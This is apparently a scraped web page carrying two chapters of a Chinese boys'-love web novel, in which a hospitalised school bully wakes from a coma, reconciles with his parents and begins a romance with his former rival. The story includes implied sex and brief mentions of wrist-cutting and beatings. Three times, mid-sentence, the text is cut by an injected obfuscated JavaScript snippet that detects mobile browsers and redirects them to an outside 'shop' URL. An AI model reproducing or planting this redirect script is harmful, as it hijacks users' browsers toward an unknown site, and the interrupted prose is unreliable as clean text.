江宵宵从小仗义,虽是校霸,但性格落落大方,却总护着弱小,结交了许多朋友。今天送来的花多得几乎接不过来,人潮一波接着一波。 “宵宵,你好好休息,人太多我们先走了。” “是啊,别打扰你恢复。” 金芸对同学们连连道谢:“谢谢你们一直惦记着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087924|195373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宵宵。” “阿姨您别客气。” 江宵宵半眯着眼,在ICU躺了太久,额头的伤已结了疤,只是浑身骨头还泛着酸疼。窗帘敞开着,阳光洒在他身上,他忍不住笑起来,好久没晒太阳了。 他望着窗外傻笑,想坐起身,却忽然牵动尾骨下方某处,脸色骤然一白。 今早醒来时就感觉到了,后腰又酸又胀,怎么连魂魄的痛感都带到身上来了! 该死的苏辞行,晚上没轻没重的。等他来了,非揍他一顿不可。 “宵宵,怎么捂着腰?是疼吗?”外婆坐在床边握着他的手,满脸担忧。 外公也凑近问:“医生不是刚来看过吗?腰怎么难受了?” “没事……”江宵宵嗓音沙哑,昏睡太久是一个原因,昨晚喊了一夜是另一个。其实不是腰疼,是屁股更痛。 为了活过来,他可真是豁出去了。 “苏辞行!” “苏辞行怎么来了……” “他和江宵宵不是死对头吗?初中还打架闹到教务处。” “怕是没安好心吧……” 江宵宵抬头望去。 苏辞行正站在门口发愣。他眼眶泛红,像是匆匆跑来的,发梢还沾着汗,气息未平。 两人目光相触的刹那,苏辞行忽然笑了。 笑着笑着,眼泪就掉了下来。压在胸口的巨石轰然挪开,狂喜从心底漫出,他却一句话也说不出,只是望着他哭。 他的江宵宵,回来了。 是活生生的人,不再是谁都看不见的魂魄。 那些日夜缠绕的噩梦,宵宵浑身是血、呼吸停止的画面,终于可以消失了。他曾无数次在深夜里哭醒,恨不得替他去受所有的伤。 江父拍了拍苏辞行的肩:“小辞,别哭,宵宵醒了是好事。这些日子,多亏你照顾。” 金芸也牵着他走到床边:“宵宵,你今天能醒来,多亏了小辞。当初所有医院都说没救了,不肯收你,是小辞请他姑姑收治咱们。这孩子……每天都守在你病房外,亲自帮你换护理,还说有任何动静都要立刻告诉他。妈妈以前总觉得他成绩比你好,你会讨厌他,没想到你们感情这么深。” “妈……我能和苏辞行单独待一会儿吗?有些话想和他说。” 江宵宵说。 “好。” 苏辞行坐在他床边,轻轻握住了他的手。 软的,温热的。 不再是冰冷透明的鬼魂。 他忽然泣不成声,用手捂住了脸。 “宵宵……宵宵……” “这不是梦……” 江宵宵在他胳膊上拍了一记:“这么多人看着呢……别哭了。我才刚醒,就要先哄你是吧?” 满屋同学都睁大了眼。 这哪里像死对头?分明是久别重逢的恋人。 那个向来高冷寡言的苏辞行,竟会在校霸面前哭成这样? 演的吧。 金芸会意,招呼着同学们往外走,将空间留给了两人。 江宵宵醒来还没和爸妈说上几句话,就急着要跟苏辞行独处,父母也没怀疑什么,只觉得他们是最好的兄弟。 “苏辞行,你再哭我揍你……” 16.病房温馨 苏辞行抬手擦了擦眼角,用力握住江宵宵的手,笑得眼尾弯起:“对不起,我太高兴了……有点控制不住。” 江宵宵朝他伸出手:“扶我坐起来。” 苏辞行轻轻揽住他的后腰,一边将他托起,一边按下床头的升降开关。等江宵宵坐稳,他顿了片刻,忽然察觉到什么,低声问道:“灵魂的共感……还能传到身体上来?” 江宵宵顿时羞恼地拍了他手臂一下:“你还好意思提!” 苏辞行轻笑出声,掌心贴在他腰后揉了揉:“是我不好。现在感觉怎么样?有没有哪里不舒服?” 江宵宵从高处摔下,虽然经过治疗已好转许多,但仍旧有些昏沉,胸口也带着闷痛。可若说哪里最难受…… 某个难以启齿的地方正隐隐作痛。 他在心里咬牙,想到昨晚那根玩意儿,怎么会那么大。 本想反扑,却到底力不从心,只能被压着欺负……想想就憋屈。 “宵宵。”苏辞行忽然松开他的手,声音低了下去,“事到如今,如果你依然没法接受和男生在一起……我不会再纠缠你。我只希望你开心、幸福。” “明天我得回学校上课,这段时间叔叔阿姨会陪着你。如果你想继续和我争第一,就好好养身体。等开学了,我帮你补课。” 他抬起眼,目光沉静地望过来:“我说过的,我只要你平安。别的都不重要。” 江宵宵攥紧了手下的床单,盯着手背上的留置针发愣。就在苏辞行起身要走时,他忽然伸出手,小指悄悄勾住了对方的指尖。 两根手指轻轻缠在一起。 苏辞行顿住,缓缓回过头,是江宵宵主动勾住了他。这动作比直接牵手更轻,更暧昧。 “……你他妈,”江宵宵别开脸,耳朵却红了,“都说了要对我负责,还想往哪儿跑?” 苏辞行走回床边,反手将他整只手握进掌心,故意问:“什么意思?” 江宵宵顿时炸毛,声音也拔高了:“我让他们都出去!单独留你一个人在这儿,你还不明白吗?!老子……老子都被你睡过了!还怎么当直男啊!” 苏辞行噗嗤笑出声,一把将他拉进怀里,低头吻住了他的唇。 这一次,江宵宵没有推开。 无处安放的手迟疑地抬起,最终落上男生宽阔的后背,右手也轻轻搂住了他的手臂。当舌尖被温柔勾缠时,江宵宵报复似的咬了下去。 血腥味在唇齿间漫开。 苏辞行退开些许,一缕血丝在两人之间拉开,又轻轻断开。他抹了抹嘴角,眼里带着笑:“啧,野猫就是爱挠人,接个吻都要见血。” 江宵宵瞪他:“……谁让你昨天弄了一整晚!” 苏辞行凑近了些,嗓音压低:“很疼吗?因为你的魂体凉凉的……特别……” 话没说完,就被江宵宵捂住了嘴。 “苏辞行!”他耳根通红,“再说一句,小心我割你舌头。” 苏辞行却轻轻舔了下他的手心,喜欢。 江宵宵像被烫到般缩回手,下一秒就被搂住后颈,再度吻了上来。这回苏辞行一点也不怕他咬,只是深深吻着,像是要把他所有的气息都占为己有。 吱—— 病房门被轻轻推开。 江誉为和金芸站在门口,两人都愣住了。 幸好方才已让司机送外公外婆回去休息,同学们也都陆续离开。因为儿子刚醒,夫妻俩舍不得走远,便去办了转至VIP病房的手续。 哪知一回来,就听见屋内传来低语与亲吻的动静。 江誉为其实早有预感,上次他就察觉两人之间的气氛有些异样。 苏辞行患上梦游症后,曾三次割腕,每一次都和宵宵有关。那样深重的情感,怎么可能只是普通朋友? “爸!妈——”江宵宵慌忙推开苏辞行。 苏辞行抹了抹嘴唇,起身走到江氏夫妇面前,径直跪了下来。 “叔叔、阿姨,对不起。请别责怪宵宵,是我一直缠着他、追着他。小时候,宵宵说喜欢优秀的人,我就拼命让自己成绩永远第一,想变得耀眼夺目,盼着他能多看我一眼……都是我的错。” 江宵宵生怕又像上次那样闹起来。父亲向来严厉,母亲对他要求也高,说不定下一刻皮带就抽过来了。 他急着要下床解释,却忘了自己已在床上躺了两个月,双腿绵软无力,肋骨处的伤也被牵扯得生疼,加上头部伤势未愈,一阵眩晕袭来,还没站稳就摔倒在地。 “啊——” “宵宵!”苏辞行脸色一变。 “宵宵……”金芸也顾不上别的了,连忙冲过去扶起儿子,“医生说了,现在只能躺着,输几天营养液才能慢慢试着走。快让妈妈看看,摔疼没有?” 江宵宵摆摆手:“没事没事……你们别打苏辞行,这事不是那么简单……” 江誉为走了过来。他的神情并不严厉,反而透着温和,语气里满是无奈的叹息:“好好躺着休息。你们的事……我也不是今天才知道。其实早就怀疑过。” 他看向仍跪着的苏辞行,“小辞,你也起来说话吧。” “谢谢叔叔。”苏辞行站了起来。 江誉为这阵子添了许多白发。这些日子他反复地想,自己总拿儿子与人攀比,究竟图什么? 重点大学里那么多教授,别人的孩子也有过得普通的,并非个个都是全省第一。 可偏偏只有他如此执着,让孩子这十几年活得那么辛苦。 为人父母,生下孩子,难道不是为了让他们幸福、自由吗? 他拍了拍江宵宵的肩,语重心长道:“宵宵,爸爸原本以为……这辈子都没机会向你道歉了。医生当时说你没了呼吸,已经无力回天。我总想起你小时候,第一次喊‘爸爸’时那张开心活泼的小脸,又可爱又温暖,无忧无虑的。” “那才是我真正想要的啊。这些年你辛苦了,是爸爸不对,对你太严、太凶,让你一直过得都不开心……对不起。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098989|195373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “没有……”江宵宵从来不是爱哭的人,可最近却总忍不住眼泪。死过一回之后,他变了许多,更懂得了活着才最好。 金芸也握住他的手,轻声说:“宝贝,妈妈也有错。以前总无形中给你压力,却不知道你心里那么难受。从今往后,你就自由自在地活。什么研究生、博士,考不上咱们就不读了。想去哪里玩、想做什么,妈妈都支持你。” 江宵宵嘴上倔强,心却一直很软。他从小就善良,乐于助人,更何况早就不怨父母了。 此刻听到他们的道歉,眼泪更是止不住地往下掉。 金芸将儿子搂进怀里,轻轻拍着他的背:“不哭了,醒了就好,醒了就好……以后和小辞好好过日子,健康、幸福,才是妈妈最想看到的。” 苏辞行抽出纸巾,仔细替他擦去眼泪,脸上的笑容明亮得藏不住。 江宵宵被他看得不好意思,硬是把眼泪憋回去,红着眼眶嘟囔:“没哭……是风吹到眼睛了。” 江誉为转向苏辞行,问道:“小辞,你们俩的事……你父母知道吗?” “知道。”苏辞行挽起袖子,露出手臂上几道淡淡的疤痕,“被打得皮开肉绽。” 江誉为轻轻一笑,无奈地摇了摇头。居然还有比他脾气更急的父亲。如今这年代,打孩子根本解决不了问题,只会让他们更倔。 “既然你父母也知情,等宵宵出院后,咱们两家约个时间一起吃顿饭吧。他外公外婆年纪大了,这事就先不告诉他们,免得老人家一时接受不了,伤了身体。” 苏辞行点头:“好。” 江宵宵在一旁轻轻哼了一声。这家伙……怎么就能答应得这么自然、这么理所当然?正式见家长这么大的事,问都不问自己一声,就立刻说好。 感觉进了贼窝。 算了。反正他这么厉害,苏辞行看起来就好欺负。就算在一起,地位高的那个,也肯定还是自己。 - 夜深,病房里的灯亮着,空气里浮动着排骨汤的香气。 苏辞行拆开保温盒,轻轻搅动着瓷碗里热气氤氲的汤水,语气温和:“这下总算能好好尝尝我的手艺了。” 江宵宵别过脸,声音闷闷的:“你倒是会挑时候,专在我爸妈面前装乖。” “嗯。”苏辞行坦然应下,并不否认。他舀起一勺汤,吹了吹,递到江宵宵唇边:“来,小心烫。” 江宵宵伸手想接:“我自己来,又不是小孩。” “别乱动,手还挂着水。”苏辞行轻轻按住他的手腕,把输液管仔细理到床头钩子上,又替他垫了垫背后的枕头,“现在这儿就我们两个,还怕什么。” “谁怕了!”江宵宵耳尖微红,声音却虚了几分,到底还是张了嘴。 一勺温热的汤吞入腹中,接着是软糯的南瓜粥,苏辞行喂得不紧不慢,时不时夹一块炖得酥烂的排骨,放在他嘴里。 每当江宵宵低头吐出碎骨时,他便自然而然伸手去接,又替他擦嘴。 17.恋爱日常 “排骨好吃吗?” “还行。” 苏辞行脸上掠过一丝失望。还行,大概就是一般般,或许味道并不怎么好。 江宵宵抬手轻拍他的脸颊,改口道:“好吃,好吃。” 苏辞行这才咧开嘴角笑了,继续小心地舀汤夹肉,吹了吹才送到他嘴边:“小心烫。” 江宵宵不说话了,埋头安静地咀嚼,耳根那抹微红却悄悄晕开,一直蔓延到脸颊。 从小到大,除了幼时还不会拿勺子的时候被妈妈喂过饭,再没有第二个人这样细致地照顾过他。 “男朋友。” 苏辞行忽然开口,嗓音温和又低沉。 江宵宵呛得一阵咳嗽:“咳咳咳!你、你瞎喊什么!” 苏辞行眼里笑意更深:“不是吗?我们现在的关系,难道不是在交往?你就是我男朋友。” “闭嘴闭嘴闭嘴!” 江宵宵急忙捂住他的嘴,想抬手揍他,可对上那张温润含笑的脸,又下不去手,最后只轻轻掐了他一下。 苏辞行顺势将人搂进怀里亲了亲:“真可爱。” “你才可爱!” 苏辞行静静注视着他,眼中的爱意几乎要满溢出来,像是想将眼前的人完整包裹。 无论喜欢的人露出怎样的神态、做出怎样的举动,只要看见他,心里便涌起满满的幸福。 … 一个月后。 江宵宵出院后在家休养了几天,身体恢复得差不多,便准备返校上课。 这期间,苏辞行每天放学都会来照顾他,有时甚至逃课到医院陪伴。两人朝夕相处,关系也越发亲密。 因为受伤住院耽误了报到,学校了解情况后,仍按新生流程为他办理了入学。 苏辞行读的是经济管理系,江宵宵则选择了热爱的计算机系,两人的教室隔得有些远。 这段时间,苏辞行还替他补上了落下的计算机基础课。这位全能学霸,连其他院系的知识也涉猎颇深。 这天下午江宵宵没课。他昨天刚拿到摩托车驾照,今天就迫不及待想去飙车。 同桌扒在他腿边央求:“宵宵,宵哥!带我一个吧~看在我认你做老大的份上,带我去行不行!” 这位小弟是初中同学,现在又同班,挺有缘分,两人年纪相仿,早就混熟了。 “行行行,别扒拉我。” “江宵宵你真是我男神!” “小点声,我机车在家里。待会儿帮我叫个车回去。” “没问题!” …… 苏辞行放学后过来找江宵宵,却听说他下午就离开了,和朋友一起走的。 他拿出手机打电话,那头却迟迟无人接听。 大病初愈,本该好好休养,刚拿到驾照就急着飙车,难怪江叔叔之前一直不肯给他买车。 打到第八遍,电话终于接通,那边传来两个人的声音。 “酷毙了江哥!你这车技太牛了!” “那当然……等等,我接个电话。喂,苏辞行?干嘛?” 苏辞行蹙起眉头:“和谁在一起?” 听筒里风声呼啸,夹杂着嘈杂的背景音:“我在环山公路骑机车呢,跟前桌一起。晚点回去吃饭。” “就你们两个?” “对啊。” “哦。” 苏辞行挂断了电话,心头莫名发闷。江宵宵第一次骑机车,想带的人竟然不是他。 江宵宵握着手机愣了愣。苏辞行从来不会先挂他电话。 最后那声应答,听起来好像有点失落?难道是因为没陪他吃晚饭? … 苏辞行回到家时,父母还在加班。餐桌上只有他一个人。这段时间江宵宵常住在这里,总是一起吃饭,今天却空落落的。 他只吃了两口便放下筷子,对保姆说:“我去写作业。等宵宵回来,麻烦把饭菜热一下。” “好。” 回到房间,苏辞行心情依旧低沉。 他不禁胡思乱想起来。 江宵宵究竟是喜欢他,还是因为发生过关系,才勉强和他凑合着过? 这些日子,江宵宵还和从前一样,跟谁都能打成一片,朋友多、爱热闹,偶尔和他吃饭、接吻,却从没有更亲密的举动。 晚上睡觉时,也似乎从无那种念头。 两人的相处,不像热恋中的情侣,倒更像……搭伙过日子。 - 江宵宵晚上八点才回来,在门口正好遇见刚下班的苏父苏母。 “宵宵来啦,今天怎么这么晚?身体没有不舒服吧?”苏母关切地问。 江宵宵笑着答:“谢谢阿姨,我没事儿!吃了夜宵才回来的,我先去找苏辞行啦,你们也早点休息。” “好。” 望着他欢快跑开的背影,苏母忍不住微笑:“这孩子,活泼又开朗,声音也甜。咱们现在有两个儿子,真是有福气。” 苏父摇摇头:“你啊,就惯着他们吧。” 江宵宵推开房门,看见苏辞行正伏在书桌前写题。他几步冲过去,从背后扑到对方身上。 “上次你说给我补的十八岁生日礼物,还没到吗?” 他生日时还在住院,苏辞行定制的项链因此延迟了。 苏辞行没什么表情,从抽屉里取出一个礼盒递过去。 江宵宵兴冲冲地打开,是一条钻石项链。吊坠是只银色小猫,竖着耳朵、瞪着眼睛,脑袋中央嵌着一个“宵”字,通身镶满细钻,看起来价值连城。 “靠!你怎么把我名字刻在小猫身上!” 江宵宵捶了他几下,又躺到床上,指尖轻轻点了点小猫脑袋。 其实还挺可爱的,他喜欢。 苏辞行低下头继续写作业。 江宵宵终于察觉到不对劲,今天这人怎么格外冷淡? “苏辞行,你咋了?” 对方没应声。 江宵宵凑到他面前,几乎贴着脸问:“是因为我没陪你吃晚饭生气吗?还是怪我骑机车没叫你?可你下午有课啊,我就自己先去了。” 苏辞行抬起头,眼眶微微发红,神情低落:“你之前说过,等拿了驾照,要骑机车带我,还要和我比赛。结果现在一声不吭,交了新朋友就带别人去……连招呼都不和我打。” 他眼尾细长,微微上挑,低头时总习惯性蹙眉。此刻眼眶一湿,那双眸子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100635|195373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便显得水光潋滟,仿佛受了委屈。 江宵宵抓了抓头发,心虚地回答:“不是……我明天也可以带你去啊。今天你在上课,我不想打扰你嘛。” 苏辞行不再说话,重新埋头写题。 江宵宵趴到他背上:“行行行,我的错,对不起好不好?别生气了,明天小爷就带你去飙车,行不?” 苏辞行还是不理,脱下外套转身进了浴室。 “哟?脾气比我还大。”江宵宵无奈地躺回床上,摸出手机开始搜索: 【男朋友生气了怎么哄】 网页跳出各种答案:发红包、送礼物、主动亲亲抱抱…… 太肉麻了吧。 苏辞行洗完澡出来,虽然心里还有气,却依然打开抽屉,拿出维生素和促进骨骼愈合的药,又倒了温水递过来。 “喝药。” “哦。” 江宵宵接过水杯把药吞下。他从六楼坠下,多处骨折,至今仍在恢复期,这些药还得再服两个月,帮助补充营养、加速身体骨骼愈合完整。 苏辞行躺上床,拉好被子,声音平淡:“去洗澡。” 江宵宵爬过来,坐在他腿上:“苏辞行,你是不是担心我身体没恢复好,怕我又摔着?我骑得不快,心里有数的。” 苏辞行淡淡看他一眼:“你还知道?骨头虽然长好了,可营养还没跟上。我说过,等停药后体检全部合格再骑机车。你不听,还带别人一起去。” 江宵宵伸手捏了捏他的脸:“我都道歉啦。下次你带我,或者我载你,你在后面守着,行不行?” 苏辞行忽然翻身钻进被子,闷闷的声音传出来:“江宵宵,你根本就不喜欢我。” 江宵宵:“???” 老天,没人告诉他谈恋爱还得哄人啊!这都扯到喜不喜欢了,他要是不喜欢,干嘛天天跟一个男人睡一块儿! “我……” 江宵宵憋了半天,才小声挤出几个字:“我喜欢你啊……” 苏辞行转过头:“什么?” “喜欢啊!我喜欢你!你大爷的……” 江宵宵扑上去掐他脖子,“如果不喜欢你,天天躺你怀里干什么?每天陪你吃什么饭?你故意在这儿折腾我吧!” 苏辞行嘴角悄悄扬起,却又故意苦着脸,侧身背对他冷哼:“知道了。” “唉……” 江宵宵没法子,只好先去洗澡。 泡在浴缸里时,他还在发愁,到底该送什么礼物,才能让男朋友开心起来呢? 他是直男,虽然已经弯了,但是情商低,不懂恋爱之间该怎么相处,才是爱。 他真的很喜欢苏辞行,想和他白头偕老,好好过日子。 江宵宵突然想起来,他们好久没做了,上次那种感觉,很痛又很爽,浑身酥麻痒痒的。 要不然,今天再试试。 半小时后。 苏辞行闭目养神,身后忽然有个人贴上来,而且没穿衣服,他在后背上乱蹭,夹住了自己的腰,扭来扭去。 “苏辞行……” “我们再来一次,像那天晚上……” 苏辞行愕然发愣,他竟然这么主动,难不成是自己多虑了?